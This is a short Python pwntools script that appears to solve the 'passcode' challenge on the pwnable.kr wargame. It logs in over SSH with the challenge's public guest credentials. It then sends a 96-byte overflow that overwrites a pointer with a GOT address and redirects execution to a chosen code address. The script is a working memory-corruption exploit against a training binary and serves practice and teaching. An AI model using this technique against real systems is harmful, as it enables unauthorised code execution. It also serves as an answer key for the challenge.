from pwn import *
sh = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
proc = sh.process('/home/passcode/passcode')
print proc.recv(1024)
proc.sendline('a'*96+'\x04\xa0\x04\x08')
print proc.recv(1024)
proc.sendline('134514147')
print proc.recvuntil(':(')